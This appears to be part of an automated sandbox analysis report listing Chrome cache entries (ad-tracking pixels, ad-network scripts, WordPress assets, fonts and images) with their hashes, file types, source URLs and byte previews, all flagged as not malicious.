SHA1:	F74D4B87D50587FB23EB37F8E1D78993697095B3
SHA-256:	A2F3AD5FC3AFFC491C52F7538CC21E6D9D651F189386A5E5E768D74A5D1AD757
SHA-512:	14DED2D15918BB9B8BAF7E7B0F8300C00CC7BBA0DD6BF5BEFE30DB23E056A181087B213AB8581CE78484C57620FC1C493D355502EE2C9E64D494028DB446636A
Malicious:	false
Reputation:	low
URL:	https://sync.richaudience.com/dcf3528a0b8aa83634892d50e91c306e/?ord=6820651392&consentString=
Preview:	<!DOCTYPE html><html lang="en"><body> 100--></body></html>

Chrome Cache Entry: 846

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=smart_adserver_eb&google_hm=Nzc2NjUxNTQ1NDEzMDM2MTE5OQ==&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 847

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?uid=qoRg4ZFEdTZx&dc=66b7ef4184d94c10&fi=b908337b94350305&ev=1&us_privacy=${us_privacy}&pid=562965
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 848

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2861)
Category:	downloaded
Size (bytes):	20380
Entropy (8bit):	5.524557919384581
Encrypted:	false
SSDEEP:	384:8zYtuquyl5//biWsLxAPE9uu+p7rz/Wjiv/UQadjBi/+wqwYzdcoXZacMTa4urMg:+YtuqLl1/bifdAquTp7rDWjivsr/o+w8
MD5:	F7BD3CD5853DA36DC063946D51551914
SHA1:	7CFEC18DD5F455EB7B84879ADE32F48A5C9DD06A
SHA-256:	0157527E01CB5EB07D42ABB8FECA608D1AC4275C73BF70B4FCF2BC07EE916975
SHA-512:	4B643D69AC244027941649895562BEC06D1478918BC2888C8DCAB3AB39BFCE234861F5D303BB4B3B7ED9FC48D5A0BDDEE8302EEE7F98484E5E994F0D320D0ED1
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240326/r20110914/client/qs_click_protection_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var q=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=q,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1}function ba(a,b,c){return a.call.apply(a.bind,arguments)}function ca(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}} .function r(a,b,c){r=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?ba:ca;return r.apply(null,arguments)}function ia(a,b){function c(){}c.prototype=b.prototype;a.O=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.P=function(d,e,g){for(var f=Array(arguments.length-2),k=2;k<arguments.length;k++)f[k-2]=arguments[k];return b.prototype[e].apply(d,f

Chrome Cache Entry: 849

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 850

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11256), with no line terminators
Category:	downloaded
Size (bytes):	11256
Entropy (8bit):	5.010537766861896
Encrypted:	false
SSDEEP:	192:xthsVmeDXDanvgZenjAJKdXSMpNO96hDIzL79V1QVSD1CNxn6fR31r:czDanvuenjAkNBhDInSwh31r
MD5:	2B0DD7EECEA03B4BDEDB94BA622FDB03
SHA1:	703BECBA85161118DD6FC66AF465428EF43F561C
SHA-256:	B7908A015A567EC2363011DF2475368DBFF34360E9DA3FDFF50604D6395FB646
SHA-512:	FE64CFF950921BDF83EC09FE79CA5CE52DE40F5B8788697EB1D7B28055F2817778347D5D3C81A324801C7EC7151B3EE0EEE99B2882C3C3B10BD760342D3BF3E7
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/c/6.4.3/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css
Preview:	.mejs-offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs-container{background:#000;font-family:Helvetica,Arial,serif;position:relative;text-align:left;text-indent:0;vertical-align:top}.mejs-container,.mejs-container *{box-sizing:border-box}.mejs-container video::-webkit-media-controls,.mejs-container video::-webkit-media-controls-panel,.mejs-container video::-webkit-media-controls-panel-container,.mejs-container video::-webkit-media-controls-start-playback-button{-webkit-appearance:none;display:none!important}.mejs-fill-container,.mejs-fill-container .mejs-container{height:100%;width:100%}.mejs-fill-container{background:transparent;margin:0 auto;overflow:hidden;position:relative}.mejs-container:focus{outline:none}.mejs-iframe-overlay{height:100%;position:absolute;width:100%}.mejs-embed,.mejs-embed body{background:#000;height:100%;margin:0;over

Chrome Cache Entry: 851

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	95024
Entropy (8bit):	5.056374001523623
Encrypted:	false
SSDEEP:	1536:P7CEB1HKRK9F1VQ3Lya8xHHZxRZIZu64AYjobLBDrCqK+wwVDne+dq:jDHKoFHQ3Lya8xHHZxRZIZu1GBDrCZkS
MD5:	62E5D0599B1F5B9E325C7B558D939B3B
SHA1:	B07AEB35F460CA62D7D19A9C59A78112C74E7C49
SHA-256:	3480DDEAE4B60127EA0724CA85E7D92C60E4B57E46BBE594E15A8445B7372D89
SHA-512:	0BF770C2E63D7C4D689F518250385C143316ABB3D109DE792E006C376C03996BECAA1F6AACF04EA947C4B8B7A54488E060AA3DE9CF5E61F687276BA93217478D
Malicious:	false
Reputation:	low
URL:	"https://s0.wp.com/_static/??/wp-content/js/postmessage.js,/wp-content/js/tannin/compat.min.js,/wp-content/js/wpcom-proxy-request.js,/wp-content/js/likes-rest-nojquery.js?m=20240322"
Preview:	/**. The MIT License.. Copyright (c) 2010 Daniel Park (http://metaweb.com, http://postmessage.freebaseapps.com).. Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHE

Chrome Cache Entry: 852

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	14234
Entropy (8bit):	7.955891883751951
Encrypted:	false
SSDEEP:	384:igQEfjCUzk/qiM1oy/REpl9mWF/zoePNwUrl:igQEfGUQS/1ZEfVF/N5rl
MD5:	05F534BA78B56C284F15BE6C762ED517
SHA1:	F2DA07A0E55A6F6092DDB24D22CD400ADAE827FC
SHA-256:	AC48D2364992814C045EAA4758021D48B31FF0AC2E6F2DE2B1D4EEBFBCB1B72B
SHA-512:	B8F42B572D8F73AE065C7E52E1F8818FAC10E3FBC3EB470A59D49D4D8CFBCFB76970CA86F5A981F1D6CB9F8175AA665D91131128BF053CDE86734F57E0C5289C
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D.."...............................................................................P..._2...8...k`.".........,'&.0......`.6..g......z..7\x.D.F..l@.A.%.uM.=...B..s..j..$.7....\|...e......U.c....Z#>T.....LVS1X. .}/..._w.....s..RP..q..2....j..M.>.\|OS!..yC.y.K..U.C].s.3X$......k...z-...3'..../O...\.en)...].<O."....+...I....[...>.....\..9.2.u.hR]g.........q.e.@.QFm..\...`....39.....=.....,.9.....j...>..hM^.,.\.Y.j'3.}...9..m.U}^lW.q...]..D.-..O..E....Rw...$.$...)E.M..7.._.zZ!.Q..Hw=.z.`.....7C.Z.....j....4.K.9....fo...#z......8U..!b.+..$..(...r..3.H...w....ngV.....=.t.....x.f.sm$2..{..z..~......U..tD..\|...P....!3.4.QB.&5(.l.r.Bc....$.L..L.....Fr.=..zI.P...I.k..5.2.}.l`.B..(...4jXy...EwEUn....Y.vBqqNU.V.......oy......s"+..w.o9..L.&..C.T....0....."R...).,..0....\.\|...JtQ.VoM.Y..'0y..I..9jd.k`..

Chrome Cache Entry: 853

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32019)
Category:	downloaded
Size (bytes):	37853
Entropy (8bit):	5.3958660383903165
Encrypted:	false
SSDEEP:	768:+jM1NhGHPDA8OX0MHxprTbpIoDV+elqgVs4tmjNp:+xSbIk+fgVs4Y3
MD5:	5EB0B1E8171E77D0A7025404811034A6
SHA1:	4161C42650F83881773B68136C8FED3413B0B4F2
SHA-256:	E341C5FAA8997117C0FADC7C1864B0638013018CADC77F1C194138E06FDF0960
SHA-512:	3C665A0502FC57DFC633D37F16B5BEEE12691D18A7F232007D4123AB16E9ACA5D23A4060690D9021F814F6B6C4F95B218488D67A88EE1979C9B38D7CBECF5569
Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/bao-csm/direct/csm_view_onlyv6.js
Preview:	window.amzncsm=window.amzncsm\|\|{},window.amzncsm.rmR\|\|function(){var startCsmComp,amzncsm=amzncsm\|\|{};amzncsm.errorCodes={SLOT_INSIDE_UNFRIENDLY_FRAME:1,UNSUPPORTED_BROWSER:2,ERROR_SENDING_PIXEL:3,INVALID_API:4,MALFORMED_URL:5},amzncsm.errors=[],amzncsm.errorMessages=[],amzncsm.exceptions={},amzncsm.isV6=!1,amzncsm.isV6=!0,amzncsm.reportErrors=function(a){var b,c;for(b=0;b<amzncsm.errors.length;b++)-1===amzncsm.errorMessages.indexOf(amzncsm.errors[b])&&(amzncsm.errorMessages.push(amzncsm.errors[b]),c='{"adViewability":[{"error": {"m": "'+amzncsm.errors[b]+'"}}], "c": "viewability", "api": "'+amzncsm.api+'", "error": 1}',amzncsm.isV6?amzncsm.sendPixel(a,c,""):(new Image).src=a+c+"?cb="+Math.round(1e7Math.random()));amzncsm.errors=[],amzncsm.detachAllHandlers&&amzncsm.detachAllHandlers()},amzncsm.sendPixel=function(a,b,c){b=b.replaceAll("%","<per>"),b=encodeURIComponent(b);var d="?";void 0!==c&&""!==c?a+=c:(a+="?p=",d="&"),(new Image).src=a+b+d+"cb="+Math.round(1e7Math.random())},funct

Chrome Cache Entry: 854

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 855

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://pmp.mxptint.net/sn.ashx?ak=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 856

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	33
Entropy (8bit):	4.41545813444441
Encrypted:	false
SSDEEP:	3:YJH/95+Ohjd0Yjn:YJ/95//j
MD5:	C5ADEA59DA8185A1EF4B2A6129BCB49C
SHA1:	CC40AA4EDCC4C015A4A544542104674B5F75BB13
SHA-256:	7DFD2D93F8ABA3B67C9558856C21FACA9CD56CF8EB7A2827E6CD4B7399531580
SHA-512:	8ABBA4F207DEB79DFC5C2FE8740C1738CFFAD48A389C7738276FB865F9AD0A28D61FDBEAC247A3388E0E1701E071D664BB1F7BBF90940884AA4CB2B03191CA59
Malicious:	false
Reputation:	low
URL:	https://lb.eu-1-id5-sync.com/lb/v1
Preview:	{"lb":"HMQ07/r7X+x/3QPqiGzJXQ=="}

Chrome Cache Entry: 857

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 61628, version 1.0
Category:	downloaded
Size (bytes):	61628
Entropy (8bit):	7.996560994602728
Encrypted:	true
SSDEEP:	1536:D0bcbU0BkgaaHDF868T5Io63Udr9xCHGD1AMYN4+:gbcbUq5a4x8VV63ErD1g
MD5:	1033A47731E45F7BD46A1962359E96B4
SHA1:	AC6ABEF8D1819A685DB48A9515F77A24A153E2A0
SHA-256:	61C412FBDBBF1417355373A80125C8CF7E5CBAAB4218BAE0316FE6EF917BF798
SHA-512:	84CA95F89E0A16EFD962B44BD3F7FFE09B328F33C068ACD8A1FEFD08101D824929E8B9EECCB0786483AA2FD2C60BD0B76FC2242479268D69FAAB72C48902E34B
Malicious:	false
Reputation:	low
URL:	https://cdn.bidbrain.app/compressedFonts/RobotoBold.woff2
Preview:	wOF2.............~....U..........................D...\|..h.`..H.B..<.....l.....F...l.6.$.... ..". .."[.B...r...`..v..-.8.ko.0.W....)...B.........4..wf.......J&2.IZ.i)E.........FP.".Z.%j(...<...,.c..).5..bW.h..}......Mv.......,....7H...&...G..x..SzA.V.....}.. ..!s..H....:.....YZ.4.......~....@..T.WOK.?.k....".{..".R.><Tf.&.\|..r..F..z..I.+.5.\|=. l..J...A..&.^g/..#......O6..XS...r.g.}...._3....l..\.V.Nw...c...i.<.()..l4.3.2<...h}U. ........:7._...(S.AU..P.....bg...8..a./.x..oy............?UH...#.T.Tl.../..Z....f~..% .[/.D.6".2v97[.'...p...'a....i...x,.....@..vrq.kO....f..@2..5...U=..,.A.....]t.[d..".B ..,b..#J..q....'..E......8.........M.c....5....~.....g.....I...l..$.DM.$.B..wrM.;..p!#W..c....FTNO.P.@......WU...-...'.gB7........#......P.ItzxW..[*....R."/.....SV..&{......r+M...P..C..7.>E..kS.T.\...=s..I...Fh.4......gp..KJ..v...Y.....p"...i.I.d....jwH...t).cG.......>....^6..@.&\|....G......U..{.........$..7..]..r.2`..9..~....;....Y...g

Chrome Cache Entry: 858

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&vxii_pid=12&vxii_pid1=10067&vxii_rcid=7b816796-bb02-4a9f-8706-7c8586b9f108
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 859

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	14959
Entropy (8bit):	7.960539891134802
Encrypted:	false
SSDEEP:	192:gYveyXCWn//6b4m6K96uvwvuX608kuqr4ayLZ9b0TTpU/LnopaxJs/RK4wSsG3Lc:9//+DqmtTubD4PpU/6absp5JnJKXz
MD5:	D4AE1311CA035CA7DB47D09EA7159E3A
SHA1:	2F00A39F31686C4487F90B97194814358A23054A
SHA-256:	32E4FA8B364C272359312C452021789C6039FDC1E2ED94D9752A1D2EEB046CE1
SHA-512:	56911FDAB2E602002A0895872A903C8044B6456390396517D903C0ECEFF0C11BA35961D28530101DFB79C6407B5D9792A0085EBBB936860131A037EE4FD5FB13
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D.."...................................................................................,...k.k...u5.%6.L..Q$55.!..X.....P.....brp....7/Ug....s...w...j4~..R..cp.5.m3d...l.bcL;.>`O....&+uj...M]..b..X.Q.6..Qw7.%...S:@Z.GK.....LTF..).K.fZ....V-Pg .L..D..4..Mg..s..jL.X....L.u.......DW#.$...#._7`...p.?..V...t9...^zJ..p.0.)x.[.Y%.....5{el%r...&...,PB.t...m...Lp.K..J.pd.\.....wP.n....^.PKA........MY..M/.d..41...uy.`uf.E.=..WZ~.E..V.5.....M.@..')c0N...C..Q..{.....Uk..]..J...L.Z.......=..5.O.l.&.0...,.13.%....X9[b_2.w".e....-.:.u.@.:.....D.M.i....Nu.t.....v..*l...]..K$......"KU..`....<K!..TM}......oc.^...W........O..`..rX..Lx%:4NM.oG..O.$...^....i.T..V,$...u.]..U/g..QP..K'.......N....1..Vm.....o..r...Wo2Z`..Z.m..kL.4....M..D..3R.u.....,.p.Vn..Z......RK.j.p.....X.XD.i...>..u..b....j.Z..G....n.E

Chrome Cache Entry: 860

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsuXYX_3s0kuwutW5liAk8lP29-kM7zurpdwSiBO4rGzCtuqi8oNzm9S8mGspDo7VWjRXH1O5LNtuMKBG4umy4TP7JpXUnm-zuBnjtcPAx110C3W5Q9PdqQyH6rqWKAt8vV81lxiY2U&sig=Cg0ArKJSzMXngzN_SSI1EAE&id=lidar2&mcvt=1063&p=817,267,907,995&mtos=1063,1063,1063,1063,1063&tos=1063,0,0,0,0&v=20240325&bin=7&avms=nio&bs=0,0&mc=1&if=1&vu=1&app=0&itpl=20&adk=3616936076&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=v&co=754869600&rst=1711615895925&rpt=4843&isd=0&lsd=0&met=mue&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 861

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	7115
Entropy (8bit):	7.873477712995974
Encrypted:	false
SSDEEP:	192:cx7xhr87hHzhBlw45begZep8Tg1DxyUtV2R:M7QBzhw4RgpWIxymV6
MD5:	AF9AD4F9EC481B80F2419AF4F9B80773
SHA1:	D7DD4CAFE4EBFB386D6BF37A4C568737A144312B
SHA-256:	F15D144867B3480D9E3AE0A940802176FDAFAC4DC6CBA656E8A58390F19C66D3
SHA-512:	90376529C775A2C3F3B3E0E98803F884A6186FED26976D37759E4D452906A9683720AF776CC8D109AB3BDD8833411298D0C302B183D0DE984CD44DCF9979B095
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D.."..........................................................................N$.L.d.&t2HI.;z...aT...V+..],.k...W/9$..z...vo.._\|o.ct..!.3..'D.HI..!3..B...........d..e.Q..1..y..R..N....YE..cv.kI..brr@.t.\$.....:..B....z.s.H.8b.7^..y..@....r.n.-.<R..,.#.e. .9..5.8..L.L....Sj.g%8]..8.......Q.....vU.Tb...8B-.{0.sl.Y..)...@#.@...N.N.'.g.<...d...)... .J...c(.8.nJ.B..J,..K;Q<...8...a...BGn..:......m..U.\|..qO._.. "...,.}........3v...GSC.....=o.n.Gm....&....h.....;..V0,..3.k.5E...Q..37.L_0{8.2...ZR.BJ.m=l.l).=....#.......M$H..$&v.#qLcm.ZA..e..a..uBj....o.......R.M~.%.#...s.e.1:7.u.%.4X<6%(r...q...$&v.9.<.....5T.i.e5...n.R\.HU......%......i.jN....M..B....e.Y..E..DN.h....C$.gE.O.@g"O.q2.)gS.....[.Df.vt...a..$I.&..B$;8D.(...I{....8..9.d....+........................!...1. "02A.#$%5@............. NGA."}...lHC

Chrome Cache Entry: 862

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (929)
Category:	downloaded
Size (bytes):	968
Entropy (8bit):	5.451987654634949
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hT/JzXh6vEFM+sBntvwCCZV9UkTbiTuRXKr5c:c2Yz8ThYviMnhYJfiTuRXEc
MD5:	E1EAD60906B25DEF2B53EB49F8C06283
SHA1:	89BCF84CAFA57D32FE47548EAE817A8B197BA473
SHA-256:	8A2FB8FDD020E7B1D35BC580A94F446F171A7BE8B273FE73C1DCB9203B97D6B3
SHA-512:	0DEEEC5FAEB1B63B312DFACF2381470AE92B227AAB7C7B983A752728318751E4095CC04824F163D727FD2FC639D20829323C4700188343B3D12CAE695BFE12EA
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=centro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Bidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://pixel-sync.sitescout.com/dmp/pixelSync?nid=77&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrapper></Ad></VAST>

Chrome Cache Entry: 863

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	74
Entropy (8bit):	3.9335493593822894
Encrypted:	false
SSDEEP:	3:YEqiXRH5LKxVJsJXNypVJN8Law+AXQ6:YEqiBZLKx7777g
MD5:	2A1B38B01484DFEC8AB529157A5CC82A
SHA1:	071F9E9A0128D6958B9E4EDA9BBCE97CD166519D
SHA-256:	788BB64DE84475786D4FC3929F48FEB7F307B4082C3C462E217828D25DC2BE2E
SHA-512:	015EF83117E1312EBBBB90109C2BFE6592F18BF22FF2B0D40D0669CAB3C3CA91B2957954EF2A98D7C2211C7E0645AD8A8EC0CAA8D922EBE78786D7ADCA2B6DD3
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/6b634075-ddb2-44fb-ba9e-6183cd8a9dec/options.json
Preview:	{"autostart":true,"tcf":true,"publisher":true,"getFiles":{"prepare":true}}

Chrome Cache Entry: 864

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
